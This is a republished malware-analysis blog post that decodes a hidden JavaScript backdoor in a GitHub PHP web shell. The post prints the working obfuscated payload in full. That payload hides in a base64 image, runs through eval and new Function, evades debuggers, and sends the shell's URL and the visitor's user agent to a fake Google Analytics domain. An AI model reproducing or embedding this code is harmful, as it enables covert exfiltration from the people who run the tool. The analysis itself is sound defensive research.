Republished Malware Analysis Blog Posts From March 2018

Backdoors in Hacking Tools – Pt. 2: Javascript Phone Home

I was recently taking a look at some PHP shell code I found in a repository on github (link) and saw something that caught my eye.

Near the bottom of the code we find these two blocks, not far apart:

1.

<img id="ghdescon" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQAQMAAAAlPW0iAAAAA1BMVEX///+nxBvIAAAAAXRSTlMAQObYZgAAB510RVh0Z2hkZQBnaGRlc2NvblpYWmhiQ2htZFc1amRHbHZiaWh3TEdFc1l5eHJMR1VzY2lsN1pUMW1kVzVqZEdsdmJpaGpLWHR5WlhSMWNtNG9ZenhoUHljbk9tVW9jR0Z5YzJWSmJuUW9ZeTloS1NrcEt5Z29ZejFqSldFcFBqTTFQMU4wY21sdVp5NW1jbTl0UTJoaGNrTnZaR1VvWXlzeU9TazZZeTUwYjFOMGNtbHVaeWd6TmlrcGZUdHBaaWdoSnljdWNtVndiR0ZqWlNndlhpOHNVM1J5YVc1bktTbDdkMmhwYkdVb1l5MHRLWEpiWlNoaktWMDlhMXRqWFh4OFpTaGpLVHRyUFZ0bWRXNWpkR2x2YmlobEtYdHlaWFIxY200Z2NsdGxYWDFkTzJVOVpuVnVZM1JwYjI0b0tYdHlaWFIxY200blhGeDNLeWQ5TzJNOU1YMDdkMmhwYkdVb1l5MHRLV2xtS0d0YlkxMHBjRDF3TG5KbGNHeGhZMlVvYm1WM0lGSmxaMFY0Y0NnblhGeGlKeXRsS0dNcEt5ZGNYR0luTENkbkp5a3NhMXRqWFNrN2NtVjBkWEp1SUhCOUtDZFZMbmM5TkNCM0tHTXBlelFnZUNoa0xIQXBlekVnYVQwd096RWdlajB3T3pFZ2NqMWNKMXduT3prb01TQnBQVEE3YVR4a0xqYzdhU3NyS1hzMUtIbzlQWEF1TnlsNlBUQTdjaXM5YkM1dEtHUXVieWhwS1Y1d0xtOG9laWtwTzNvckszMHpJSEo5TkNCQktITXBlekVnWVQxY0oxd25PemtvTVNCcFBUQTdhVHh6TzJrckt5bDdZU3M5YkM1dEtGZ29UUzVRS0NrcVVTa3BmVE1nWVgwMElHc29aQ3h3S1hzeElHRTlRU2d4TmlrN01XRW9aQzQzSlRFMklUMHdLV1FyUFZ3bk1Gd25PekVnWWoxaE96a29NU0JwUFRBN2FUeGtMamM3YVNzOU1UWXBlMklyUFhnb1pDNXVLR2tzTVRZcExHSXViaWhwTERFMktTbDlNeUI0S0dJc2NDbDlOQ0E0S0NsN015Z3lMbkU5UFhRdVNDWW1NaTUyUFQxMExrY3BmVFFnZVNncGV6RWdZVDFTT3pVb0tESXVhQ1ltTWk1b0xrSW1Kakl1YUM1Q0xqRXdLWHg4S0RJdVF5MHlMbkUrWVNsOGZDZ3lMa1F0TWk1MlBtRXBmSHdvT0NncEppWXlMa1E4U1NsOGZDZzRLQ2ttSmpJdVF6eEtLU2t6SUVzN015Qk1mVFFnTmloaEtYczFLRTRnWVQwOUlrOGlLVE1nWVM1RktDOWNYRnhjTDJjc0lseGNYRnhjWEZ4Y0lpa3VSU2d2WEZ3aUwyY3NJbHhjWEZ4Y1hDSWlLVHN6SUdGOU1TQjFQVk11VkRzeElHVTlWaTVYT3pFZ2FqMGlleUlySWx4Y0luVmNYQ0k2SUZ4Y0lpSXJOaWgxS1NzaVhGd2lMQ0FpS3lKY1hDSlpYRndpT2lCY1hDSWlLellvWlNrcklseGNJaXdnSWlzaVhGd2lXbHhjSWpvZ1hGd2lJaXMyS0dNcEt5SmNYQ0lnSWlzaWZTSTdNU0JtUFdzb2Fpd2lNVEVpS1RzeElHRTlNVElvWmlrN05TZ2hlU2dwS1hzeE15QXhOQ2dwTGpFMVBWd25NVGM2THk4eE9DMHhPUzFHTGpGaUwwWXZQMkU5WENjck1XTW9ZU2w5ZlNjc05qSXNOelVzSjN4MllYSjhkMmx1Wkc5M2ZISmxkSFZ5Ym54bWRXNWpkR2x2Ym54cFpueHpZVzU4YkdWdVozUm9mSFJpZkdadmNueDhmSHg4Zkh4OFJtbHlaV0oxWjN4OGZHVnVZM3hUZEhKcGJtZDhabkp2YlVOb1lYSkRiMlJsZkhOMVluTjBjbnhqYUdGeVEyOWtaVUYwZkh4cGJtNWxjbGRwWkhSb2ZIeDhjMk55WldWdWZIeHBibTVsY2tobGFXZG9kSHhyYTN4OFkyUjhmR2RsYmw5eVlXNWtiMjFmYzNSeWZHTm9jbTl0Wlh4dmRYUmxjbGRwWkhSb2ZHOTFkR1Z5U0dWcFoyaDBmSEpsY0d4aFkyVjhZVzVoYkhsMGFXTnpmR2hsYVdkb2RIeDNhV1IwYUh3ek5UQjhOakF3ZkhSeWRXVjhabUZzYzJWOFRXRjBhSHgwZVhCbGIyWjhjM1J5YVc1bmZISmhibVJ2Ylh3eU5UVjhNVFl3ZkdSdlkzVnRaVzUwZkZWU1RIeDBhR2x6Zkc1aGRtbG5ZWFJ2Y254MWMyVnlRV2RsYm5SOGNHRnljMlZKYm5SOGRXRjhibk44YVhOSmJtbDBhV0ZzYVhwbFpIeHNNbGhXUjJkalNYUTFNV3QwUW1scFdFUTNRakZ0YzFVelMwNURhamgyTVh4aWRHOWhmRzVsZDN4SmJXRm5aWHh6Y21OOGZHaDBkSEI4WjI5dloyeGxmSE4wWVhScFkzeDNhR2xzWlh4amIyMThaVzVqYjJSbFZWSkpRMjl0Y0c5dVpXNTBKeTV6Y0d4cGRDZ25mQ2NwTERBc2UzMHBLUT09Z2hkZXNjb26/DJpDAAAADElEQVQIHWNgIA0AAAAwAAGErPF6AAAAAElFTkSuQmCC"/>

2.

<script type="text/javascript">
if(typeof btoa=="undefined")btoa=function(a,b){b=(typeof b=='undefined')?false:b;var d,o2,o3,bits,h1,h2,h3,h4,e=[],pad='',c,plain,coded;var f="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";plain=b?Utf8.encode(a):a;c=plain.length%3;if(c>0){while(c++<3){pad+='=';plain+='\0'}}for(c=0;c<plain.length;c+=3){d=plain.charCodeAt(c);o2=plain.charCodeAt(c+1);o3=plain.charCodeAt(c+2);bits=d<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;e[c/3]=f.charAt(h1)+f.charAt(h2)+f.charAt(h3)+f.charAt(h4)}coded=e.join('');coded=coded.slice(0,coded.length-pad.length)+pad;return coded};if(typeof atob=="undefined")atob=function(a,b){b=(typeof b=='undefined')?false:b;var e,o2,o3,h1,h2,h3,h4,bits,d=[],plain,coded;var f="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";coded=b?Utf8.decode(a):a;for(var c=0;c<coded.length;c+=4){h1=f.indexOf(coded.charAt(c));h2=f.indexOf(coded.charAt(c+1));h3=f.indexOf(coded.charAt(c+2));h4=f.indexOf(coded.charAt(c+3));bits=h1<<18|h2<<12|h3<<6|h4;e=bits>>>16&0xff;o2=bits>>>8&0xff;o3=bits&0xff;d[c/4]=String.fromCharCode(e,o2,o3);if(h4==0x40)d[c/4]=String.fromCharCode(e,o2);if(h3==0x40)d[c/4]=String.fromCharCode(e)}plain=d.join('');return b?Utf8.decode(plain):plain};
setTimeout(function(){new Function(atob(atob(document.getElementById('ghdescon').src.substr(22)).match(/ghdescon(.*?)ghdescon/)[1])).apply(this);kk(1);}, 500);
</script>

Hmmm, it looks like the javascript is trying to decode and execute something from within the base64 encoded image. Let’s try to manually decode the string to see what it contains…

Decode Step 1:

We can see that the above code is retrieving the string from the image element “ghdescon” and base64 decoding it starting at the 22nd character. The result is then base64 decoded, starting and ending where the first base64 decoded string contains a pattern matching “ghdescon”

So after the first step (base64 decode starting at 22nd character) we get this:

�PNG  ��� IHDR���������%=m"���PLTE���������tRNS�@��f���tEXtghde�ghdesconZXZhbChmdW5jdGlvbihwLGEsYyxrLGUscil7ZT1mdW5jdGlvbihjKXtyZXR1cm4oYzxhPycnOmUocGFyc2VJbnQoYy9hKSkpKygoYz1jJWEpPjM1P1N0cmluZy5mcm9tQ2hhckNvZGUoYysyOSk6Yy50b1N0cmluZygzNikpfTtpZighJycucmVwbGFjZSgvXi8sU3RyaW5nKSl7d2hpbGUoYy0tKXJbZShjKV09a1tjXXx8ZShjKTtrPVtmdW5jdGlvbihlKXtyZXR1cm4gcltlXX1dO2U9ZnVuY3Rpb24oKXtyZXR1cm4nXFx3Kyd9O2M9MX07d2hpbGUoYy0tKWlmKGtbY10pcD1wLnJlcGxhY2UobmV3IFJlZ0V4cCgnXFxiJytlKGMpKydcXGInLCdnJyksa1tjXSk7cmV0dXJuIHB9KCdVLnc9NCB3KGMpezQgeChkLHApezEgaT0wOzEgej0wOzEgcj1cJ1wnOzkoMSBpPTA7aTxkLjc7aSsrKXs1KHo9PXAuNyl6PTA7cis9bC5tKGQubyhpKV5wLm8oeikpO3orK30zIHJ9NCBBKHMpezEgYT1cJ1wnOzkoMSBpPTA7aTxzO2krKyl7YSs9bC5tKFgoTS5QKCkqUSkpfTMgYX00IGsoZCxwKXsxIGE9QSgxNik7MWEoZC43JTE2IT0wKWQrPVwnMFwnOzEgYj1hOzkoMSBpPTA7aTxkLjc7aSs9MTYpe2IrPXgoZC5uKGksMTYpLGIubihpLDE2KSl9MyB4KGIscCl9NCA4KCl7MygyLnE9PXQuSCYmMi52PT10LkcpfTQgeSgpezEgYT1SOzUoKDIuaCYmMi5oLkImJjIuaC5CLjEwKXx8KDIuQy0yLnE+YSl8fCgyLkQtMi52PmEpfHwoOCgpJiYyLkQ8SSl8fCg4KCkmJjIuQzxKKSkzIEs7MyBMfTQgNihhKXs1KE4gYT09Ik8iKTMgYS5FKC9cXFxcL2csIlxcXFxcXFxcIikuRSgvXFwiL2csIlxcXFxcXCIiKTszIGF9MSB1PVMuVDsxIGU9Vi5XOzEgaj0ieyIrIlxcInVcXCI6IFxcIiIrNih1KSsiXFwiLCAiKyJcXCJZXFwiOiBcXCIiKzYoZSkrIlxcIiwgIisiXFwiWlxcIjogXFwiIis2KGMpKyJcXCIgIisifSI7MSBmPWsoaiwiMTEiKTsxIGE9MTIoZik7NSgheSgpKXsxMyAxNCgpLjE1PVwnMTc6Ly8xOC0xOS1GLjFiL0YvP2E9XCcrMWMoYSl9fScsNjIsNzUsJ3x2YXJ8d2luZG93fHJldHVybnxmdW5jdGlvbnxpZnxzYW58bGVuZ3RofHRifGZvcnx8fHx8fHx8RmlyZWJ1Z3x8fGVuY3xTdHJpbmd8ZnJvbUNoYXJDb2RlfHN1YnN0cnxjaGFyQ29kZUF0fHxpbm5lcldpZHRofHx8c2NyZWVufHxpbm5lckhlaWdodHxra3x8Y2R8fGdlbl9yYW5kb21fc3RyfGNocm9tZXxvdXRlcldpZHRofG91dGVySGVpZ2h0fHJlcGxhY2V8YW5hbHl0aWNzfGhlaWdodHx3aWR0aHwzNTB8NjAwfHRydWV8ZmFsc2V8TWF0aHx0eXBlb2Z8c3RyaW5nfHJhbmRvbXwyNTV8MTYwfGRvY3VtZW50fFVSTHx0aGlzfG5hdmlnYXRvcnx1c2VyQWdlbnR8cGFyc2VJbnR8dWF8bnN8aXNJbml0aWFsaXplZHxsMlhWR2djSXQ1MWt0QmlpWEQ3QjFtc1UzS05Dajh2MXxidG9hfG5ld3xJbWFnZXxzcmN8fGh0dHB8Z29vZ2xlfHN0YXRpY3x3aGlsZXxjb218ZW5jb2RlVVJJQ29tcG9uZW50Jy5zcGxpdCgnfCcpLDAse30pKQ==ghdescon��C���IDATc` ���0����z����IEND�B`�

Decode Step 2:

We can see the pattern “ghdescon” appears in the above string twice. When we trim the string starting and ending at “ghdescon” (non-inclusive) and base64 decode the result, we get the packed javascript being executed:

eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('U.w=4 w(c){4 x(d,p){1 i=0;1 z=0;1 r=\'\';9(1 i=0;i<d.7;i++){5(z==p.7)z=0;r+=l.m(d.o(i)^p.o(z));z++}3 r}4 A(s){1 a=\'\';9(1 i=0;i<s;i++){a+=l.m(X(M.P()*Q))}3 a}4 k(d,p){1 a=A(16);1a(d.7%16!=0)d+=\'0\';1 b=a;9(1 i=0;i<d.7;i+=16){b+=x(d.n(i,16),b.n(i,16))}3 x(b,p)}4 8(){3(2.q==t.H&&2.v==t.G)}4 y(){1 a=R;5((2.h&&2.h.B&&2.h.B.10)||(2.C-2.q>a)||(2.D-2.v>a)||(8()&&2.D<I)||(8()&&2.C<J))3 K;3 L}4 6(a){5(N a=="O")3 a.E(/\\\\/g,"\\\\\\\\").E(/\\"/g,"\\\\\\"");3 a}1 u=S.T;1 e=V.W;1 j="{"+"\\"u\\": \\""+6(u)+"\\", "+"\\"Y\\": \\""+6(e)+"\\", "+"\\"Z\\": \\""+6(c)+"\\" "+"}";1 f=k(j,"11");1 a=12(f);5(!y()){13 14().15=\'17://18-19-F.1b/F/?a=\'+1c(a)}}',62,75,'|var|window|return|function|if|san|length|tb|for||||||||Firebug|||enc|String|fromCharCode|substr|charCodeAt||innerWidth|||screen||innerHeight|kk||cd||gen_random_str|chrome|outerWidth|outerHeight|replace|analytics|height|width|350|600|true|false|Math|typeof|string|random|255|160|document|URL|this|navigator|userAgent|parseInt|ua|ns|isInitialized|l2XVGgcIt51ktBiiXD7B1msU3KNCj8v1|btoa|new|Image|src||http|google|static|while|com|encodeURIComponent'.split('|'),0,{}))

Decode Step 3:

Now let’s see what it looks like when unpacked, using a javascript unpacker utility:

this.kk=function kk(c)
{
function x(d,p)
{
var i=0;
var z=0;
var r='';
for(var i=0;
i<d.length;
i++)
{
if(z==p.length)z=0;
r+=String.fromCharCode(d.charCodeAt(i)^p.charCodeAt(z));
z++
}
return r
}
function gen_random_str(s)
{
var a='';
for(var i=0;
i<s;
i++)
{
a+=String.fromCharCode(parseInt(Math.random()*255))
}
return a
}
function enc(d,p)
{
var a=gen_random_str(16);
while(d.length%16!=0)d+='0';
var b=a;
for(var i=0;
i<d.length;
i+=16)
{
b+=x(d.substr(i,16),b.substr(i,16))
}
return x(b,p)
}
function tb()
{
return(window.innerWidth==screen.width&&window.innerHeight==screen.height)
}
function cd()
{
var a=160;
if((window.Firebug&&window.Firebug.chrome&&window.Firebug.chrome.isInitialized)||(window.outerWidth-window.innerWidth>a)||(window.outerHeight-window.innerHeight>a)||(tb()&&window.outerHeight<350)||(tb()&&window.outerWidth<600))return true;
return false
}
function san(a)
{
if(typeof a=="string")return a.replace(/\\/g,"\\\\").replace(/\"/g,"\\\"");
return a
}
var u=document.URL;
var e=navigator.userAgent;
var j="
{
"+"\"u\": \""+san(u)+"\", "+"\"ua\": \""+san(e)+"\", "+"\"ns\": \""+san(c)+"\" "+"
}
";
var f=enc(j,"l2XVGgcIt51ktBiiXD7B1msU3KNCj8v1");
var a=btoa(f);
if(!cd())
{
new Image().src='http://google-static-analytics.com/analytics/?a='+encodeURIComponent(a)
}
}

We can see that the code attempts to check whether firebug is running, as well as making some other basic checks to attempt to determine if it’s running in sandbox using screen resolution. If the code determines the code is running on a legitimate target, it spawns an image in order to make a GET request to “google-static-analytics.com”

This GET request contains both the location of the shell, and the user agent string of the browser which executed the code, in an encoded string as part of the URL.

This “phone home” information can then be retrieved and decoded from the HTTP logs generated from the GET requests, and used by the backdoor creator for their own purposes.

NOTE: The domain “google-static-analytics.com” is NOT  a domain belonging to Google. It is designed to mask the network traffic of the backdoor, making it appear to be related to Google Analytics. The domain actually resolves to CloudFlare IPs at the time of this writing (link)

Malware Research

Original Research and Blog Posts by Sky Larsen